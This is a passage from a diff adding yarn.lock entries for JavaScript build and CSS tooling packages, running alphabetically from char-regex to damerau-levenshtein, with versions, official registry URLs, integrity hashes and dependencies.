+  resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf"
+  integrity sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==
+
+char-regex@^2.0.0:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-2.0.2.tgz#81385bb071af4df774bff8721d0ca15ef29ea0bb"
+  integrity sha512-cbGOjAptfM2LVmWhwRFHEKTPkLwNddVmuqYZQt895yXwAsWsXObCG+YN4DGQ/JBtT4GP1a1lPPdio2z413LmTg==
+
+check-types@^11.2.3:
+  version "11.2.3"
+  resolved "https://registry.yarnpkg.com/check-types/-/check-types-11.2.3.tgz#1ffdf68faae4e941fce252840b1787b8edc93b71"
+  integrity sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg==
+
+chokidar@^3.4.2, chokidar@^3.5.3, chokidar@^3.6.0:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.6.0.tgz#197c6cc669ef2a8dc5e7b4d97ee4e092c3eb0d5b"
+  integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==
+  dependencies:
+    anymatch "~3.1.2"
+    braces "~3.0.2"
+    glob-parent "~5.1.2"
+    is-binary-path "~2.1.0"
+    is-glob "~4.0.1"
+    normalize-path "~3.0.0"
+    readdirp "~3.6.0"
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+chrome-trace-event@^1.0.2:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz#05bffd7ff928465093314708c93bdfa9bd1f0f5b"
+  integrity sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==
+
+ci-info@^3.2.0:
+  version "3.9.0"
+  resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-3.9.0.tgz#4279a62028a7b1f262f3473fc9605f5e218c59b4"
+  integrity sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==
+
+cjs-module-lexer@^1.0.0:
+  version "1.4.3"
+  resolved "https://registry.yarnpkg.com/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz#0f79731eb8cfe1ec72acd4066efac9d61991b00d"
+  integrity sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==
+
+clean-css@^5.2.2:
+  version "5.3.3"
+  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-5.3.3.tgz#b330653cd3bd6b75009cc25c714cae7b93351ccd"
+  integrity sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==
+  dependencies:
+    source-map "~0.6.0"
+
+cliui@^7.0.2:
+  version "7.0.4"
+  resolved "https://registry.yarnpkg.com/cliui/-/cliui-7.0.4.tgz#a0265ee655476fc807aea9df3df8df7783808b4f"
+  integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==
+  dependencies:
+    string-width "^4.2.0"
+    strip-ansi "^6.0.0"
+    wrap-ansi "^7.0.0"
+
+co@^4.6.0:
+  version "4.6.0"
+  resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
+  integrity sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==
+
+coa@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/coa/-/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3"
+  integrity sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==
+  dependencies:
+    "@types/q" "^1.5.1"
+    chalk "^2.4.1"
+    q "^1.1.2"
+
+collect-v8-coverage@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz#c0b29bcd33bcd0779a1344c2136051e6afd3d9e9"
+  integrity sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==
+
+color-convert@^1.9.0:
+  version "1.9.3"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
+  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+  dependencies:
+    color-name "1.1.3"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
+  integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+colord@^2.9.1:
+  version "2.9.3"
+  resolved "https://registry.yarnpkg.com/colord/-/colord-2.9.3.tgz#4f8ce919de456f1d5c1c368c307fe20f3e59fb43"
+  integrity sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==
+
+colorette@^2.0.10:
+  version "2.0.20"
+  resolved "https://registry.yarnpkg.com/colorette/-/colorette-2.0.20.tgz#9eb793e6833067f7235902fcd3b09917a000a95a"
+  integrity sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==
+
+combined-stream@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
+  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+  dependencies:
+    delayed-stream "~1.0.0"
+
+commander@^2.20.0:
+  version "2.20.3"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
+  integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
+
+commander@^4.0.0:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
+  integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
+
+commander@^7.2.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-7.2.0.tgz#a36cb57d0b501ce108e4d20559a150a391d97ab7"
+  integrity sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==
+
+commander@^8.3.0:
+  version "8.3.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-8.3.0.tgz#4837ea1b2da67b9c616a67afbb0fafee567bca66"
+  integrity sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==
+
+common-tags@^1.8.0:
+  version "1.8.2"
+  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.2.tgz#94ebb3c076d26032745fd54face7f688ef5ac9c6"
+  integrity sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==
+
+commondir@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
+  integrity sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==
+
+compressible@~2.0.18:
+  version "2.0.18"
+  resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
+  integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==
+  dependencies:
+    mime-db ">= 1.43.0 < 2"
+
+compression@^1.7.4:
+  version "1.7.5"
+  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.5.tgz#fdd256c0a642e39e314c478f6c2cd654edd74c93"
+  integrity sha512-bQJ0YRck5ak3LgtnpKkiabX5pNF7tMUh1BSy2ZBOTh0Dim0BUu6aPPwByIns6/A5Prh8PufSPerMDUklpzes2Q==
+  dependencies:
+    bytes "3.1.2"
+    compressible "~2.0.18"
+    debug "2.6.9"
+    negotiator "~0.6.4"
+    on-headers "~1.0.2"
+    safe-buffer "5.2.1"
+    vary "~1.1.2"
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
+
+confusing-browser-globals@^1.0.11:
+  version "1.0.11"
+  resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz#ae40e9b57cdd3915408a2805ebd3a5585608dc81"
+  integrity sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==
+
+connect-history-api-fallback@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz#647264845251a0daf25b97ce87834cace0f5f1c8"
+  integrity sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==
+
+content-disposition@0.5.4:
+  version "0.5.4"
+  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe"
+  integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==
+  dependencies:
+    safe-buffer "5.2.1"
+
+content-type@~1.0.4, content-type@~1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.5.tgz#8b773162656d1d1086784c8f23a54ce6d73d7918"
+  integrity sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==
+
+convert-source-map@^1.4.0, convert-source-map@^1.6.0, convert-source-map@^1.7.0:
+  version "1.9.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.9.0.tgz#7faae62353fb4213366d0ca98358d22e8368b05f"
+  integrity sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==
+
+convert-source-map@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a"
+  integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==
+
+cookie-signature@1.0.6:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
+  integrity sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==
+
+cookie@0.7.1:
+  version "0.7.1"
+  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.7.1.tgz#2f73c42142d5d5cf71310a74fc4ae61670e5dbc9"
+  integrity sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==
+
+core-js-compat@^3.38.0, core-js-compat@^3.38.1:
+  version "3.40.0"
+  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.40.0.tgz#7485912a5a4a4315c2fdb2cbdc623e6881c88b38"
+  integrity sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ==
+  dependencies:
+    browserslist "^4.24.3"
+
+core-js-pure@^3.23.3:
+  version "3.40.0"
+  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.40.0.tgz#d9a019e9160f9b042eeb6abb92242680089d486e"
+  integrity sha512-AtDzVIgRrmRKQai62yuSIN5vNiQjcJakJb4fbhVw3ehxx7Lohphvw9SGNWKhLFqSxC4ilD0g/L1huAYFQU3Q6A==
+
+core-js@^3.19.2:
+  version "3.40.0"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.40.0.tgz#2773f6b06877d8eda102fc42f828176437062476"
+  integrity sha512-7vsMc/Lty6AGnn7uFpYT56QesI5D2Y/UkgKounk87OP9Z2H9Z8kj6jzcSGAxFmUtDOS0ntK6lbQz+Nsa0Jj6mQ==
+
+core-util-is@~1.0.0:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz#a6042d3634c2b27e9328f837b965fac83808db85"
+  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
+
+cosmiconfig@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982"
+  integrity sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==
+  dependencies:
+    "@types/parse-json" "^4.0.0"
+    import-fresh "^3.1.0"
+    parse-json "^5.0.0"
+    path-type "^4.0.0"
+    yaml "^1.7.2"
+
+cosmiconfig@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-7.1.0.tgz#1443b9afa596b670082ea46cbd8f6a62b84635f6"
+  integrity sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==
+  dependencies:
+    "@types/parse-json" "^4.0.0"
+    import-fresh "^3.2.1"
+    parse-json "^5.0.0"
+    path-type "^4.0.0"
+    yaml "^1.10.0"
+
+cross-spawn@^7.0.0, cross-spawn@^7.0.2, cross-spawn@^7.0.3:
+  version "7.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+crypto-random-string@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-2.0.0.tgz#ef2a7a966ec11083388369baa02ebead229b30d5"
+  integrity sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==
+
+css-blank-pseudo@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz#36523b01c12a25d812df343a32c322d2a2324561"
+  integrity sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+css-declaration-sorter@^6.3.1:
+  version "6.4.1"
+  resolved "https://registry.yarnpkg.com/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz#28beac7c20bad7f1775be3a7129d7eae409a3a71"
+  integrity sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==
+
+css-has-pseudo@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz#57f6be91ca242d5c9020ee3e51bbb5b89fc7af73"
+  integrity sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+css-loader@^6.5.1:
+  version "6.11.0"
+  resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-6.11.0.tgz#33bae3bf6363d0a7c2cf9031c96c744ff54d85ba"
+  integrity sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==
+  dependencies:
+    icss-utils "^5.1.0"
+    postcss "^8.4.33"
+    postcss-modules-extract-imports "^3.1.0"
+    postcss-modules-local-by-default "^4.0.5"
+    postcss-modules-scope "^3.2.0"
+    postcss-modules-values "^4.0.0"
+    postcss-value-parser "^4.2.0"
+    semver "^7.5.4"
+
+css-minimizer-webpack-plugin@^3.2.0:
+  version "3.4.1"
+  resolved "https://registry.yarnpkg.com/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz#ab78f781ced9181992fe7b6e4f3422e76429878f"
+  integrity sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==
+  dependencies:
+    cssnano "^5.0.6"
+    jest-worker "^27.0.2"
+    postcss "^8.3.5"
+    schema-utils "^4.0.0"
+    serialize-javascript "^6.0.0"
+    source-map "^0.6.1"
+
+css-prefers-color-scheme@^6.0.3:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz#ca8a22e5992c10a5b9d315155e7caee625903349"
+  integrity sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==
+
+css-select-base-adapter@^0.1.1:
+  version "0.1.1"
+  resolved "https://registry.yarnpkg.com/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7"
+  integrity sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==
+
+css-select@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/css-select/-/css-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
+  integrity sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==
+  dependencies:
+    boolbase "^1.0.0"
+    css-what "^3.2.1"
+    domutils "^1.7.0"
+    nth-check "^1.0.2"
+
+css-select@^4.1.3:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/css-select/-/css-select-4.3.0.tgz#db7129b2846662fd8628cfc496abb2b59e41529b"
+  integrity sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==
+  dependencies:
+    boolbase "^1.0.0"
+    css-what "^6.0.1"
+    domhandler "^4.3.1"
+    domutils "^2.8.0"
+    nth-check "^2.0.1"
+
+css-tree@1.0.0-alpha.37:
+  version "1.0.0-alpha.37"
+  resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22"
+  integrity sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==
+  dependencies:
+    mdn-data "2.0.4"
+    source-map "^0.6.1"
+
+css-tree@^1.1.2, css-tree@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.1.3.tgz#eb4870fb6fd7707327ec95c2ff2ab09b5e8db91d"
+  integrity sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==
+  dependencies:
+    mdn-data "2.0.14"
+    source-map "^0.6.1"
+
+css-what@^3.2.1:
+  version "3.4.2"
+  resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
+  integrity sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==
+
+css-what@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/css-what/-/css-what-6.1.0.tgz#fb5effcf76f1ddea2c81bdfaa4de44e79bac70f4"
+  integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==
+
+cssdb@^7.1.0:
+  version "7.11.2"
+  resolved "https://registry.yarnpkg.com/cssdb/-/cssdb-7.11.2.tgz#127a2f5b946ee653361a5af5333ea85a39df5ae5"
+  integrity sha512-lhQ32TFkc1X4eTefGfYPvgovRSzIMofHkigfH8nWtyRL4XJLsRhJFreRvEgKzept7x1rjBuy3J/MurXLaFxW/A==
+
+cssesc@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
+  integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
+
+cssnano-preset-default@^5.2.14:
+  version "5.2.14"
+  resolved "https://registry.yarnpkg.com/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz#309def4f7b7e16d71ab2438052093330d9ab45d8"
+  integrity sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==
+  dependencies:
+    css-declaration-sorter "^6.3.1"
+    cssnano-utils "^3.1.0"
+    postcss-calc "^8.2.3"
+    postcss-colormin "^5.3.1"
+    postcss-convert-values "^5.1.3"
+    postcss-discard-comments "^5.1.2"
+    postcss-discard-duplicates "^5.1.0"
+    postcss-discard-empty "^5.1.1"
+    postcss-discard-overridden "^5.1.0"
+    postcss-merge-longhand "^5.1.7"
+    postcss-merge-rules "^5.1.4"
+    postcss-minify-font-values "^5.1.0"
+    postcss-minify-gradients "^5.1.1"
+    postcss-minify-params "^5.1.4"
+    postcss-minify-selectors "^5.2.1"
+    postcss-normalize-charset "^5.1.0"
+    postcss-normalize-display-values "^5.1.0"
+    postcss-normalize-positions "^5.1.1"
+    postcss-normalize-repeat-style "^5.1.1"
+    postcss-normalize-string "^5.1.0"
+    postcss-normalize-timing-functions "^5.1.0"
+    postcss-normalize-unicode "^5.1.1"
+    postcss-normalize-url "^5.1.0"
+    postcss-normalize-whitespace "^5.1.1"
+    postcss-ordered-values "^5.1.3"
+    postcss-reduce-initial "^5.1.2"
+    postcss-reduce-transforms "^5.1.0"
+    postcss-svgo "^5.1.0"
+    postcss-unique-selectors "^5.1.1"
+
+cssnano-utils@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/cssnano-utils/-/cssnano-utils-3.1.0.tgz#95684d08c91511edfc70d2636338ca37ef3a6861"
+  integrity sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==
+
+cssnano@^5.0.6:
+  version "5.1.15"
+  resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-5.1.15.tgz#ded66b5480d5127fcb44dac12ea5a983755136bf"
+  integrity sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==
+  dependencies:
+    cssnano-preset-default "^5.2.14"
+    lilconfig "^2.0.3"
+    yaml "^1.10.2"
+
+csso@^4.0.2, csso@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/csso/-/csso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529"
+  integrity sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==
+  dependencies:
+    css-tree "^1.1.2"
+
+cssom@^0.4.4:
+  version "0.4.4"
+  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.4.4.tgz#5a66cf93d2d0b661d80bf6a44fb65f5c2e4e0a10"
+  integrity sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==
+
+cssom@~0.3.6:
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
+  integrity sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==
+
+cssstyle@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-2.3.0.tgz#ff665a0ddbdc31864b09647f34163443d90b0852"
+  integrity sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==
+  dependencies:
+    cssom "~0.3.6"
+
+damerau-levenshtein@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz#b43d286ccbd36bc5b2f7ed41caf2d0aba1f8a6e7"
